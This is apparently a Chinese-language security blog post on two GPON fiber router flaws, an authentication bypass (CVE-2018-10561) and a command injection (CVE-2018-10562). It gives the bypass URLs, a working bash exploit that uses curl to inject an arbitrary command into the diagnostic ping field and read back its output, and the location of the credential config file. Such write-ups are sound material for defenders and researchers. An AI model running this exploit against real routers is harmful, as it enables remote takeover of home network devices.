GPON 光纤路由器漏:身份认证绕过漏洞和命令注入漏洞

GPON技术是现在非常流行的光纤无光源网络设备技术,国内主流运营商的家庭网关大多都采用GPON和EPON技术。国内GPON光纤路由器因为由ISP提供,暴露公网存量不明显,但仍可能收到该漏洞影响。此次由VPNMentor披露的GPON家用光纤路由器漏洞,分别涉及到身份认证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562),两个漏洞形成的攻击链可以在设备上执行任意系统命令。

GPON模式家庭设备网关

1525415567679

身份认证绕过(CVE-2018-10561)

设备上运行的HTTP服务器在进行身份验证时会检查特定路径,攻击者可以利用这一特性绕过任意终端上的身份验证。

通过在URL后添加特定参数?images/,最终获得访问权限:

http://ip:port/menu.html?images/

http://ip:port/GponForm/diag_FORM?images/

另外,URL 中含有 style/,script/ 时也可绕过验证。

命令注入(CVE-2018-10562)

该设备提供了诊断功能,通过pingtraceroute对设备进行诊断,但并未对用户输入进行检测,直接通过拼接参数的形式进行执行导致了命令注入,通过反引号`和分号;可以进行常规命令注入执行。

该诊断功能会在/tmp目录保存命令执行结果并在用户访问/diag.html时返回结果,所以结合CVE-2018-10561身份认证绕过漏洞可以轻松获取执行结果。

Exploit

1
2
3
4
5
6
7
#!/bin/bash
# Usage: sh exp.sh url command
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting...."
sleep 3
echo "[+] Retrieving the ouput...."
curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result = ' | sed -e 's/\\n/\n/g'

漏洞利用&疑问

404 not found ?

URL后面添加了?images/使用浏览器访问大多会报404 Not found.

1525418932723

查看源码发现是函数 XWebInit 中判断了当前窗口是否为最顶层的框架。Web 管理页面由多个html页面组合而成,单独显示是被不允许的。我尝试用 burp 修改返回包,但显示仍然不完全。需要修改查看相关配置,建议直接对配置文件操作或执行相关命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function XWebInit()
{
trueif (self == top)
true{
truetrue$("x_root_body").innerHTML = '<center><h2><p>404 Not found.</p></h2></center>';
truetruereturn;
true}
trueWebLoadString();
trueWebInit();
truesetTimeout("XLogout();", top.XWebTimeout*1000);
trueInitForm(top.XCurrentMenu);
}


</script>
</head>
<body id="x_root_body" onload="XWebInit();">
<form id="XForm" name="XForm" method="post" action="">
<input id="XWebPageName" name="XWebPageName" type="hidden" value="" />
<div id="div_xcontent">
true<div id="div_xleft"></div>
true<div id="div_xright">

关键文件

  • web路径: /web/html
  • 身份认证等配置:/etc/ath0.conf

时间线

  • 2018-05-01 vpnmentor披露该漏洞

参考